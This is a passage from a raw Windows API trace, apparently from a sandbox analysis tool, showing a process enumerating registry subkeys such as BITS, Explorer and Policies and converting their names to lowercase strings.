dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x3ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x3eb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x3eb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x3ec0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0026.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x3eb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0026.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x3eb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x3ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0026.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x3eb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x3ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0026.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x3eb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0026.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x3ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x3eb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x3ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x3eb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x3ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x3eb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x3ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x3eb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x3ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x3eb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x3ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x3eb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x3eb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0026.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x3eb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0026.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x3ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x3eb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x3eb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x3eb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x3eb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x3eb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x3eb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x3ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x3eb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x3ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0026.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x3eb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x3eb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x3eb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x3ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x3eb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x3ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x3eb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x3eb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x3ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x3eb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x3ec0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0026.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x3eb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0026.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0026.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x3eb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x3ec0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0026.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x3eb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x3ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0026.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x3eb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x3ec0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0026.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x3eb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0026.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x3eb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0026.505] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f404 | out: phkResult=0x34f404*=0xa0) returned 0x0 [0026.505] RegCloseKey (hKey=0x24) returned 0x0 [0026.505] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x3eb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0026.505] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x3eb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x3ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0026.506] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x3eb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0026.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x3ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0026.506] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x3eb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0026.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0026.506] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x3eb930, cchName=0x104 | out: lpName="System") returned 0x0 [0026.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 